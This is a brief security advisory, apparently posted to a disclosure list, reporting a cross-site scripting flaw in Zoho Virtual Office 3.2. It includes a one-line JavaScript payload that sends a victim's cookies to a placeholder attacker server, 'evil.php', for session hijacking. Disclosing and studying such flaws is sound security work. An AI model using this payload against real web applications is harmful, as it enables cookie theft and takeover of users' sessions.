Cross Site Scripting Vulnerability in Zoho Virtual Office
Hello,
We have discovered a vunerability in Zoho Virtual Office.
Malformed HTML message could lead to XSS Attack. It can cause a cookie
theft leading to session hijacking.
PoC:
Simply creating HTML message including Javascript code could lead the
browser's frame into evil script on attacker's server.
Example:
<script>document.location='http://server/evil/evil.php?'+document.cookie
</script>
evil.php file contains code which saves cookie variables on evil server.
attacker can prepare cookie and hijack the user's session.
Affected version: 3.2 Build 3210 (latest), previous versions might
also be vulnerable.
Vendor was contacted 72 hours ago.
best regards
marc & shb